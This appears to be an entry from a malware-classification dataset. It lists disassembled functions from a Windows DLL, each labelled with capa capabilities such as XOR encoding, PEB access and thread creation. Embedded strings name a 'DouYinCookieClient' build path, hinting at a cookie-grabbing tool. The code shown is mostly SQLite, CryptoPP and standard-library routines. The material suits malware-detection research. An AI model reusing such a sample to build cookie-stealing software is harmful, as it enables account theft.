joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10018a40
Capabilities:
Encode data using xor
Hash data using fnv

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x101c4cc5
mov eax, dword fs:[0]
push eax
push ebx
sub esp, 0x18
push esi
push edi
mov eax, dword [0x10244540]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edx, dword [ebx + 0xc]
mov edi, dword [ebx + 8]
mov dword [ebp - 0x20], edi
mov dword [ebp - 0x14], edx
cmp dword [edx + 0x14], 0xf
mov dword [ebp - 0x18], edx
jbe 0x10018a95
mov eax, dword [edx]
mov dword [ebp - 0x18], eax
xor ecx, ecx
mov esi, 0x811c9dc5
cmp dword [edx + 0x10], ecx
jbe 0x10018ab9
mov edi, dword [ebp - 0x18]
movzx eax, byte [edi + ecx]
inc ecx
xor eax, esi
imul esi, eax, 0x1000193
cmp ecx, dword [edx + 0x10]
jb 0x10018aa4
mov edi, dword [ebp - 0x20]
push esi
push edx
lea eax, [ebp - 0x1c]
push eax
call fcn.10019e40
mov eax, dword [ebp - 0x18]
test eax, eax
je 0x10018ad8
mov dword [edi], eax
mov eax, edi
mov byte [edi + 4], 0
jmp 0x10018c2f
cmp dword [0x1024c92c], 0x4924924
je 0x10018c45
mov dword [ebp - 0x28], 0x1024c928
mov dword [ebp - 4], 0
push 0x38
mov dword [ebp - 0x24], 0
call fcn.1018e7f4
add esp, 4
mov edi, eax
mov dword [ebp - 0x24], edi
push dword [ebp - 0x14]
lea ecx, [edi + 8]
call fcn.100175c0
xorps xmm0, xmm0
movups xmmword [edi + 0x20], xmm0
mov dword [edi + 0x30], 0
mov dword [edi + 0x34], 0xf
mov byte [edi + 0x20], 0
mov dword [ebp - 4], 1
mov edx, dword [0x1024c92c]
lea eax, [edx + 1]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
shr eax, 0x1f
addsd xmm0, qword [eax*8 + 0x102373c0]
mov eax, dword [0x1024c940]
cvtpd2ps xmm3, xmm0
movd xmm0, eax
cvtdq2pd xmm0, xmm0
shr eax, 0x1f
movaps xmm2, xmm3
addsd xmm0, qword [eax*8 + 0x102373c0]
cvtpd2ps xmm1, xmm0
movss xmm0, dword [0x1024c924]
divss xmm2, xmm1
comiss xmm2, xmm0
jbe 0x10018bdb
divss xmm3, xmm0
movaps xmm0, xmm3
call fcn.10001570
call fcn.1018f560
mov ecx, 8
cmp eax, ecx
cmova ecx, eax
mov eax, dword [0x1024c940]
cmp eax, ecx
jae 0x10018bbd
cmp eax, 0x200
jae 0x10018bbb
shl eax, 3
cmp eax, ecx
jae 0x10018bbd
mov eax, ecx
push eax
call fcn.100199e0
push esi
lea eax, [edi + 8]
push eax
lea eax, [ebp - 0x28]
push eax
call fcn.10019e40
mov edx, dword [0x1024c92c]
mov ecx, dword [eax]
jmp 0x10018bde
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ecx + 4]
inc edx
mov dword [0x1024c92c], edx
mov dword [edi], ecx
mov dword [edi + 4], eax
mov dword [eax], edi
mov dword [ecx + 4], edi
and esi, dword [0x1024c93c]
mov dword [ebp - 0x14], eax
mov eax, dword [0x1024c930]
mov edx, dword [eax + esi*8]
cmp edx, dword [0x1024c928]
jne 0x10018c10
mov dword [eax + esi*8], edi
jmp 0x10018c22
cmp edx, ecx
jne 0x10018c19
mov dword [eax + esi*8], edi
jmp 0x10018c26
mov ecx, dword [ebp - 0x14]
cmp dword [eax + esi*8 + 4], ecx
jne 0x10018c26
mov dword [eax + esi*8 + 4], edi
mov eax, dword [ebp - 0x20]
mov dword [eax], edi
mov byte [eax + 4], 1
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret 8
push str.unordered_map_set_too_long
call fcn.1018dbbb
int3
Function at 0x1001d320
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0xc
mov eax, dword [ebp + 0x10]
push ebx
mov ebx, ecx
mov ecx, dword [ebp + 0xc]
push esi
push edi
mov edi, dword [ebp + 8]
mov dword [esp + 0xc], edi
test eax, eax
jg 0x1001d352
jl 0x1001d345
test ecx, ecx
jne 0x1001d352
xor eax, eax
xor edx, edx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc
cmp dword [ebx + 0x38], 0
je 0x1001d412
mov dword [esp + 0x10], ecx
mov dword [esp + 0xc], eax
mov ecx, ebx
call fcn.1001edb0
mov esi, eax
mov eax, edx
mov dword [esp + 0x14], eax
test eax, eax
jl 0x1001d3be
jg 0x1001d37d
test esi, esi
je 0x1001d3be
mov ecx, dword [esp + 0xc]
cmp ecx, eax
jg 0x1001d395
mov eax, dword [esp + 0x10]
jl 0x1001d38f
cmp eax, esi
jae 0x1001d395
mov esi, eax
mov dword [esp + 0x14], ecx
mov eax, dword [ebx + 0x1c]
push esi
push dword [eax]
push edi
call fcn.10190960
mov eax, dword [ebx + 0x2c]
add esp, 0xc
mov ecx, dword [esp + 0x10]
mov edx, dword [esp + 0xc]
sub ecx, esi
sbb edx, dword [esp + 0x14]
sub dword [eax], esi
mov eax, dword [ebx + 0x1c]
add dword [eax], esi
jmp 0x1001d3df
mov eax, dword [ebx]
mov ecx, ebx
call dword [eax + 0x1c]
mov edx, dword [esp + 0xc]
cmp eax, 0xffffffff
je 0x1001d3fb
mov ecx, dword [esp + 0x10]
mov esi, 1
add ecx, 0xffffffff
mov byte [edi], al
adc edx, 0xffffffff
add edi, esi
mov dword [esp + 0xc], edx
mov dword [esp + 0x10], ecx
test edx, edx
jg 0x1001d364
jl 0x1001d3fb
test ecx, ecx
jne 0x1001d364
mov eax, dword [ebp + 0xc]
sub eax, dword [esp + 0x10]
mov ecx, dword [ebp + 0x10]
sbb ecx, edx
mov edx, ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc
mov eax, dword [ebx + 0x1c]
lea esi, [ebx + 0x2c]
mov edi, ecx
mov edx, dword [eax]
test edx, edx
je 0x1001d456
mov eax, dword [esi]
mov eax, dword [eax]
test eax, eax
je 0x1001d456
mov edi, dword [esp + 0xc]
cmp eax, ecx
mov esi, ecx
cmovb esi, eax
push esi
push edx
push edi
call fcn.10190960
mov eax, dword [ebx + 0x2c]
add edi, esi
mov dword [esp + 0x18], edi
add esp, 0xc
mov edi, dword [ebp + 0xc]
sub edi, esi
sub dword [eax], esi
mov eax, dword [ebx + 0x1c]
add dword [eax], esi
lea esi, [ebx + 0x2c]
cmp dword [ebx + 0x4c], 0
je 0x1001d4c7
mov ecx, dword [ebx + 0xc]
lea eax, [ebx + 0x3c]
cmp dword [ecx], eax
jne 0x1001d47c
mov eax, dword [ebx + 0xc]
mov edx, dword [ebx + 0x54]
mov ecx, dword [ebx + 0x50]
sub edx, ecx
mov dword [eax], ecx
mov eax, dword [ebx + 0x1c]
mov dword [eax], ecx
mov eax, dword [esi]
mov dword [eax], edx
mov esi, dword [esp + 0xc]
cmp edi, 0xfff
jbe 0x1001d4b2
nop dword [eax + eax]
push dword [ebx + 0x4c]
push 0xfff
push 1
push esi
call fcn.101a5ae8
add esp, 0x10
add esi, eax
sub edi, eax
cmp eax, 0xfff
jne 0x1001d4c7
cmp edi, eax
ja 0x1001d490
test edi, edi
je 0x1001d4c7
push dword [ebx + 0x4c]
push edi
push 1
push esi
call fcn.101a5ae8
add esp, 0x10
sub edi, eax
mov eax, dword [ebp + 0xc]
mov edx, dword [ebp + 0x10]
sub eax, edi
pop edi
pop esi
sbb edx, 0
pop ebx
mov esp, ebp
pop ebp
ret 0xc
Function at 0x1001da50
Capabilities:
Access peb ldr_data
Get process heap force flags

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x101c52df
mov eax, dword fs:[0]
push eax
sub esp, 0x20
push ebx
push esi
push edi
mov eax, dword [0x10244540]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov ebx, ecx
mov dword [ebp - 0x10], ebx
mov dword [ebp - 0x14], ebx
mov eax, dword [ebp + 8]
lea ecx, [ebx + 0x70]
mov dword [ebp - 0x2c], ebx
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x24], 0
mov dword [ebp - 0x28], eax
mov dword [ebx], 0x101f5280
call fcn.1001ef30
sub esp, 8
mov dword [ebp - 4], 0
lea esi, [ebx + 0x10]
mov dword [ebp - 0x24], 1
mov ecx, ebx
mov dword [ebp - 0x18], esi
push esi
call fcn.1001edd0
mov dword [ebp - 4], 1
mov eax, dword [ebx]
mov dword [ebp - 0x14], esi
mov eax, dword [eax + 4]
mov dword [ebx + eax], vtable.std::basic_ifstream_char__struct_std::char_traits_char__.0
mov eax, dword [ebx]
mov ecx, dword [eax + 4]
lea eax, [ecx - 0x70]
mov dword [ecx + ebx - 4], eax
mov ecx, esi
call fcn.1001f240
lea eax, [ebx + 0x10]
lea ebx, [eax + 4]
mov dword [eax], vtable.std::basic_filebuf_char__struct_std::char_traits_char__.0
mov dword [eax + 0xc], ebx
lea ecx, [eax + 0x18]
mov byte [eax + 0x48], 0
lea esi, [eax + 8]
mov byte [eax + 0x3d], 0
lea edi, [eax + 0x14]
mov dword [eax + 0x10], esi
lea edx, [eax + 0x24]
mov dword [eax + 0x1c], edi
mov dword [eax + 0x20], ecx
mov dword [eax + 0x2c], edx
add eax, 0x28
mov dword [ebp - 0x14], ebx
mov ebx, dword [ebp - 0x18]
mov dword [ebx + 0x30], eax
mov ebx, dword [ebp - 0x14]
mov dword [esi], 0
mov dword [ecx], 0
mov dword [eax], 0
mov dword [ebx], 0
mov ebx, dword [ebp - 0x18]
mov dword [edi], 0
mov dword [edx], 0
mov dword [ebx + 0x4c], 0
mov eax, dword [0x10254dc4]
mov ecx, dword [0x10254dc8]
mov dword [ebx + 0x40], eax
mov dword [ebx + 0x44], ecx
mov dword [ebx + 0x38], 0
mov byte [ebp - 4], 2
cmp dword [ebx + 0x4c], 0
jne 0x1001dbf1
mov eax, dword [ebp - 0x28]
push 0x40
or eax, 1
push eax
push dword [ebp - 0x1c]
call fcn.1018e43e
add esp, 0xc
test eax, eax
je 0x1001dbf1
push 1
push eax
mov ecx, ebx
call fcn.1001e830
mov eax, dword [ebx + 0x34]
mov ecx, dword [eax + 4]
mov dword [ebp - 0x1c], ecx
mov eax, dword [ecx]
call dword [eax + 4]
lea eax, [ebp - 0x20]
mov byte [ebp - 4], 3
push eax
call fcn.1001fab0
add esp, 4
mov ecx, ebx
push eax
call fcn.1001e6d0
mov ecx, dword [ebp - 0x1c]
test ecx, ecx
je 0x1001dbda
mov eax, dword [ecx]
call dword [eax + 8]
test eax, eax
je 0x1001dbda
mov edx, dword [eax]
mov ecx, eax
push 1
call dword [edx]
mov eax, dword [ebp - 0x10]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x10
mov esi, dword [ebp - 0x10]
push 0
mov eax, dword [esi]
mov ecx, dword [eax + 4]
xor eax, eax
add ecx, esi
cmp dword [ecx + 0x38], eax
sete al
lea eax, [eax*4 + 2]
or eax, dword [ecx + 0xc]
push eax
call fcn.100020e0
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x10
Function at 0x1001edd0
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x101c541d
mov eax, dword fs:[0]
push eax
sub esp, 0x10
push ebx
push esi
push edi
mov eax, dword [0x10244540]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov ebx, ecx
mov dword [ebp - 0x10], ebx
mov eax, dword [ebx]
push 0
push 0
mov eax, dword [eax + 4]
mov dword [ebx + eax], vtable.std::basic_istream_char__struct_std::char_traits_char__.0
mov eax, dword [ebx]
mov edx, dword [eax + 4]
lea eax, [edx - 0x18]
mov dword [edx + ebx - 4], eax
mov eax, dword [ebx]
mov dword [ebx + 8], 0
mov dword [ebx + 0xc], 0
mov edi, dword [eax + 4]
add edi, ebx
mov ecx, edi
mov dword [edi + 0x30], 0
mov dword [edi + 8], 0
mov dword [edi + 0x10], 0
mov dword [edi + 0x14], 0x201
mov dword [edi + 0x18], 6
mov dword [edi + 0x1c], 0
mov dword [edi + 0x20], 0
mov dword [edi + 0x24], 0
mov dword [edi + 0x28], 0
mov dword [edi + 0x2c], 0
call fcn.100020e0
push 8
call fcn.1018e7f4
mov esi, eax
xorps xmm0, xmm0
movq qword [esi], xmm0
push 1
mov dword [ebp - 4], 1
call fcn.1018dd92
mov dword [esi + 4], eax
add esp, 8
mov eax, dword [ebp + 8]
mov dword [edi + 0x30], esi
mov dword [edi + 0x38], eax
mov dword [edi + 0x3c], 0
mov ecx, dword [esi + 4]
mov dword [ebp - 0x18], ecx
mov eax, dword [ecx]
call dword [eax + 4]
lea eax, [ebp - 0x1c]
mov dword [ebp - 4], 2
push eax
call fcn.10018210
add esp, 4
mov ecx, eax
mov edx, dword [eax]
push 0x20
mov eax, dword [edx + 0x20]
call eax
mov byte [ebp - 4], 0
mov ecx, dword [ebp - 0x18]
mov byte [ebp + 0xb], al
test ecx, ecx
je 0x1001eef7
mov edx, dword [ecx]
call dword [edx + 8]
test eax, eax
je 0x1001eef7
mov edx, dword [eax]
mov ecx, eax
push 1
call dword [edx]
cmp dword [edi + 0x38], 0
mov al, byte [ebp + 0xb]
mov byte [edi + 0x40], al
jne 0x1001ef13
mov eax, dword [edi + 0xc]
mov ecx, edi
push 0
or eax, 4
push eax
call fcn.100020e0
mov eax, ebx
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc

Function at 0x1001f240
Capabilities:
Access peb ldr_data
Get kernel32 base address

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x101c4ae0
mov eax, dword fs:[0]
push eax
push esi
push edi
mov eax, dword [0x10244540]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, ecx
push 8
mov dword [edi], vtable.std::basic_streambuf_char__struct_std::char_traits_char__.0
mov dword [edi + 4], 0
mov dword [edi + 8], 0
mov dword [edi + 0xc], 0
mov dword [edi + 0x10], 0
mov dword [edi + 0x14], 0
mov dword [edi + 0x18], 0
mov dword [edi + 0x1c], 0
mov dword [edi + 0x20], 0
mov dword [edi + 0x24], 0
mov dword [edi + 0x28], 0
mov dword [edi + 0x2c], 0
mov dword [edi + 0x30], 0
call fcn.1018e7f4
mov esi, eax
xorps xmm0, xmm0
movq qword [esi], xmm0
push 1
mov dword [ebp - 4], 0
call fcn.1018dd92
add esp, 8
mov dword [esi + 4], eax
mov ecx, edi
mov dword [edi + 0x34], esi
call fcn.1001f1e0
mov eax, edi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x10070860
Capabilities:
Enumerate pe sections

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x1c
push ebx
push esi
mov esi, dword [ebp + 0xc]
push edi
mov dword [esp + 0x20], edx
mov dword [esp + 0x24], ecx
mov ebx, dword [esi + 4]
mov byte [esi + 0x16], 0
test bl, 3
je 0x1007089a
push 0x14ad3
push str.L:DevGetDouYinCookieClientDll_srcLibrary_sqlite_sqlite3.c
push str.EIGHT_BYTE_ALIGNMENT_pMem_
call fcn.101aa953
add esp, 0xc
mov ecx, dword [ebp + 8]
mov al, byte [ecx]
cmp al, 0x80
jae 0x100708aa
movzx edi, al
mov al, 1
jmp 0x100708ba
lea edx, [esp + 0x1c]
call fcn.10038d50
mov edi, dword [esp + 0x1c]
mov ecx, dword [ebp + 8]
movzx edx, al
mov eax, edi
mov dword [esp + 0x1c], edi
xor edi, edi
mov dword [esp + 0x14], edx
mov dword [esp + 0x10], eax
cmp edx, eax
jae 0x100709a7
cmp eax, dword [esp + 0x20]
ja 0x100709ad
mov al, byte [ecx + edx]
add ecx, edx
cmp al, 0x80
jae 0x100708f3
movzx esi, al
mov al, 1
mov dword [esp + 0x18], esi
jmp 0x10070904
lea edx, [esp + 0x18]
call fcn.10038d50
mov esi, dword [esp + 0x18]
mov edx, dword [esp + 0x14]
mov ecx, dword [esp + 0x24]
movzx eax, al
add edx, eax
mov dword [esp + 0x14], edx
mov edx, esi
mov al, byte [ecx + 4]
mov byte [ebx + 0x12], al
mov eax, dword [ecx + 0xc]
mov ecx, dword [ebp + 8]
add ecx, dword [esp + 0x10]
push ebx
mov dword [ebx + 0x14], eax
mov dword [ebx + 0x18], 0
mov dword [ebx + 8], 0
call fcn.10070440
add esp, 4
cmp esi, 0x80
jb 0x1007094c
add esi, 0xfffffff4
shr esi, 1
jmp 0x1007097f
cmp esi, 0xc
jb 0x10070978
movzx ecx, byte [esi + 0x101efd78]
lea eax, [esi - 0xc]
shr eax, 1
cmp ecx, eax
je 0x10070978
push 0x149d6
push str.L:DevGetDouYinCookieClientDll_srcLibrary_sqlite_sqlite3.c
push str.serial_type_12__sqlite3SmallTypeSizes_serial_type__serial_type___12__2
call fcn.101aa953
add esp, 0xc
movzx esi, byte [esi + 0x101efd78]
mov eax, dword [esp + 0x10]
inc edi
add eax, esi
add ebx, 0x30
mov esi, dword [ebp + 0xc]
mov dword [esp + 0x10], eax
cmp di, word [esi + 0x14]
jae 0x100709a7
mov edx, dword [esp + 0x14]
mov ecx, dword [ebp + 8]
cmp edx, dword [esp + 0x1c]
jb 0x100708d5
cmp eax, dword [esp + 0x20]
jbe 0x100709f0
test di, di
je 0x100709f0
cmp dword [0x102450e0], 0
je 0x100709d2
push 0x14ae6
push str.L:DevGetDouYinCookieClientDll_srcLibrary_sqlite_sqlite3.c
push str.CORRUPT_DB
call fcn.101aa953
add esp, 0xc
mov eax, 0x9000
test word [ebx - 0x20], ax
je 0x100709e7
lea ecx, [ebx - 0x30]
call fcn.10067c90
jmp 0x100709f0
mov eax, 1
mov word [ebx - 0x20], ax
mov eax, dword [esp + 0x24]
movzx ecx, word [eax + 6]
inc ecx
movzx eax, di
cmp eax, ecx
jbe 0x10070a17
push 0x14aec
push str.L:DevGetDouYinCookieClientDll_srcLibrary_sqlite_sqlite3.c
push str.u_pKeyInfo__nKeyField__1
call fcn.101aa953
add esp, 0xc
mov word [esi + 0x14], di
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x10072be0
Capabilities:
Encode data using xor

Disassembly:
mov eax, dword [ecx + 4]
test eax, eax
je 0x10072c0d
push esi
lea esi, [edx + 1]
nop dword [eax + eax]
mov ecx, dword [eax + 0xa0]
mov edx, esi
xor edx, ecx
and edx, 3
xor edx, ecx
mov dword [eax + 0xa0], edx
mov eax, dword [eax + 8]
test eax, eax
jne 0x10072bf0
pop esi
ret
Function at 0x10088080
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
mov edi, ecx
mov ebx, edx
mov dword [ebp - 8], ebx
cmp dword [edi], 0
jne 0x1008809b
cmp dword [edi + 4], 0
je 0x100880b2
push 0x18184
push str.L:DevGetDouYinCookieClientDll_srcLibrary_sqlite_sqlite3.c
push str.pTask__pThread0__pTask__bDone0
call fcn.101aa953
add esp, 0xc
test ebx, ebx
jne 0x100880cd
push 0x7f5b
push str.L:DevGetDouYinCookieClientDll_srcLibrary_sqlite_sqlite3.c
push str.xTask_0
call fcn.101aa953
add esp, 0xc
push 0
push 0x14
mov dword [edi], 0
call fcn.100302f0
mov esi, eax
add esp, 8
test esi, esi
jne 0x10088121
cmp dword [0x102451bc], eax
je 0x100880f7
add dword [0x102549bc], 0x2a8ea
push 0x101f8cf4
push 0x7f5e
push 0x10236394
push str._s_at_line__d_of___.10s_
push 7
call fcn.10033a50
add esp, 0x14
mov eax, 7
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
cmp byte [0x102450d4], 0
je 0x10088172
mov eax, dword [0x102451d0]
test eax, eax
je 0x10088141
push 0xc8
call eax
add esp, 4
test eax, eax
jne 0x10088172
mov eax, dword [ebp - 8]
lea ebx, [esi + 8]
mov dword [ebx], eax
mov eax, dword [ebp + 8]
mov dword [esi + 0xc], eax
lea eax, [esi + 4]
push eax
push 0
push esi
push 0x10036d10
push 0
push 0
mov dword [ebp - 4], eax
call fcn.101a9e9f
add esp, 0x18
mov dword [esi], eax
test eax, eax
jne 0x10088188
jmp 0x10088175
lea ebx, [esi + 8]
xorps xmm0, xmm0
lea eax, [esi + 4]
movups xmmword [esi], xmm0
mov dword [ebp - 4], eax
mov dword [esi + 0x10], 0
cmp dword [ebx], 0
jne 0x100881a4
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov ecx, dword [ebp - 4]
push dword [ebp + 8]
mov dword [ecx], eax
call dword [ebp - 8]
add esp, 4
mov dword [esi + 0x10], eax
mov dword [edi], esi
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10119520
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x101c6b65
mov eax, dword fs:[0]
push eax
sub esp, 0x2c
mov eax, dword [0x10244540]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
mov dword [ebp - 0x34], esi
mov dword [ebp - 0x30], esi
lea eax, [ebp - 0x2c]
mov dword [ebp - 0x38], esi
push eax
lea eax, [ebp - 0x28]
mov dword [ebp - 0x2c], 0x3f
xorps xmm0, xmm0
push eax
movups xmmword [ebp - 0x28], xmm0
call fcn.10019ee0
movups xmm0, xmmword [str.HashVerificationFilter:_message_hash_or_MAC_not_valid]
mov edx, dword [ebp - 0x2c]
mov ecx, eax
mov dword [ebp - 0x28], ecx
mov dword [ebp - 0x18], 0x35
mov dword [ebp - 0x14], edx
movups xmmword [ecx], xmm0
movups xmm0, xmmword [0x101c9d10]
movups xmmword [ecx + 0x10], xmm0
movups xmm0, xmmword [0x101c9d20]
movups xmmword [ecx + 0x20], xmm0
mov eax, dword [0x101c9d30]
mov dword [ecx + 0x30], eax
mov al, byte [0x101c9d34]
mov byte [ecx + 0x34], al
mov byte [ecx + 0x35], 0
xorps xmm0, xmm0
mov dword [ebp - 4], 0
movq qword [esi + 4], xmm0
mov dword [esi], vtable.CryptoPP::Exception.0
lea edi, [esi + 0x10]
mov dword [esi + 0xc], 3
lea eax, [ebp - 0x30]
cmp edx, 0xf
mov byte [ebp - 4], 1
push eax
movups xmmword [edi], xmm0
lea esi, [ebp - 0x28]
mov dword [edi + 0x10], 0
push edi
mov dword [edi + 0x14], 0
cmova esi, ecx
mov dword [ebp - 0x30], 0x3f
call fcn.10019ee0
mov ecx, eax
mov dword [edi + 0x10], 0x35
mov eax, dword [ebp - 0x30]
add esp, 0x10
mov dword [edi + 0x14], eax
mov dword [edi], ecx
movups xmm0, xmmword [esi]
movups xmmword [ecx], xmm0
movups xmm0, xmmword [esi + 0x10]
movups xmmword [ecx + 0x10], xmm0
movups xmm0, xmmword [esi + 0x20]
movups xmmword [ecx + 0x20], xmm0
mov eax, dword [esi + 0x30]
mov dword [ecx + 0x30], eax
mov ax, word [esi + 0x34]
mov word [ecx + 0x34], ax
mov eax, dword [ebp - 0x2c]
cmp eax, 0xf
jbe 0x1011966e
lea ecx, [eax + 1]
mov eax, dword [ebp - 0x28]
cmp ecx, 0x1000
jb 0x10119664
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10119692
mov eax, edx
push ecx
push eax
call fcn.1018eb3e
add esp, 8
mov eax, dword [ebp - 0x34]
mov dword [eax], vtable.CryptoPP::HashVerificationFilter::HashVerificationFailed.0
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.1018e7c9
mov esp, ebp
pop ebp
ret
call fcn.1019b181
int3
Function at 0x1011c810
Capabilities:
Generate random numbers via winapi

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x101c7049
mov eax, dword fs:[0]
push eax
sub esp, 0x44
mov eax, dword [0x10244540]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov eax, dword fs:[0x2c]
mov ecx, dword [0x1024c100]
mov esi, dword [ebp + 8]
mov ecx, dword [eax + ecx*4]
mov eax, dword [0x1024a6b8]
cmp eax, dword [ecx + 4]
jg 0x1011c889
push 0
push dword [ebp + 0xc]
push esi
push dword [0x1024a6b4]
call sub.bcrypt.dll_BCryptGenRandom
test eax, eax
js 0x1011c8d0
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.1018e7c9
mov esp, ebp
pop ebp
ret 8
push 0x1024a6b8
call fcn.1018f14b
add esp, 4
cmp dword [0x1024a6b8], 0xffffffff
jne 0x1011c858
mov ecx, 0x1024a6b4
mov dword [ebp - 4], 0
call fcn.1011c2d0
push 0x101c7db0
call fcn.1018eb29
push 0x1024a6b8
mov dword [ebp - 4], 0xffffffff
call fcn.1018f0fa
add esp, 8
jmp 0x1011c858
push eax
call fcn.1011c910
add esp, 4
push eax
call dword [sym.imp.KERNEL32.dll_SetLastError]
push 0x101ca540
lea ecx, [ebp - 0x28]
call fcn.10017580
lea eax, [ebp - 0x28]
mov dword [ebp - 4], 2
push eax
lea ecx, [ebp - 0x50]
call fcn.1011c410
push 0x10240d34
lea eax, [ebp - 0x50]
push eax
call fcn.101908e7
int3
Function at 0x1011c930
Capabilities:
Generate random numbers via winapi

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x101c7099
mov eax, dword fs:[0]
push eax
sub esp, 0x5c
mov eax, dword [0x10244540]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, ecx
mov ebx, dword [ebp + 0xc]
mov dword [ebp - 0x64], 0xffffffff
mov dword [ebp - 0x60], ebx
test ebx, ebx
jne 0x1011c972
xor esi, esi
jmp 0x1011c97d
push ebx
call fcn.1011f100
add esp, 4
mov esi, eax
mov dword [ebp - 0x5c], esi
push 1
lea ecx, [ebp - 0x58]
mov dword [ebp - 4], 0
call fcn.101163c0
lea ecx, [ebp - 0x54]
mov dword [ebp - 0x58], vtable.CryptoPP::NonblockingRng.0
call fcn.1011c2d0
mov eax, dword fs:[0x2c]
mov ecx, dword [0x1024c100]
mov byte [ebp - 4], 1
mov ecx, dword [eax + ecx*4]
mov eax, dword [0x1024a6b8]
cmp eax, dword [ecx + 4]
jg 0x1011ca34
push 0
push ebx
push esi
push dword [0x1024a6b4]
call sub.bcrypt.dll_BCryptGenRandom
test eax, eax
js 0x1011ca7c
mov eax, dword [ebp - 0x54]
mov byte [ebp - 4], 0
mov dword [ebp - 0x58], vtable.CryptoPP::NonblockingRng.0
test eax, eax
je 0x1011c9f1
push 0
push eax
call sub.bcrypt.dll_BCryptCloseAlgorithmProvider
mov eax, dword [edi]
mov ecx, edi
push ebx
push esi
call dword [eax + 0x10]
mov dword [ebp - 4], 5
test esi, esi
je 0x1011ca16
xor al, al
mov edi, esi
mov ecx, ebx
rep stosb byte es:[edi], al
push esi
call fcn.1002f570
add esp, 4
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.1018e7c9
mov esp, ebp
pop ebp
ret 8
push 0x1024a6b8
call fcn.1018f14b
add esp, 4
cmp dword [0x1024a6b8], 0xffffffff
jne 0x1011c9c0
mov ecx, 0x1024a6b4
mov byte [ebp - 4], 2
call fcn.1011c2d0
push 0x101c7db0
call fcn.1018eb29
push 0x1024a6b8
mov byte [ebp - 4], 1
call fcn.1018f0fa
add esp, 8
jmp 0x1011c9c0
push eax
call fcn.1011c910
add esp, 4
push eax
call dword [sym.imp.KERNEL32.dll_SetLastError]
push 0x101ca540
lea ecx, [ebp - 0x28]
call fcn.10017580
lea eax, [ebp - 0x28]
mov byte [ebp - 4], 4
push eax
lea ecx, [ebp - 0x50]
call fcn.1011c410
push 0x10240d34
lea eax, [ebp - 0x50]
push eax
call fcn.101908e7
int3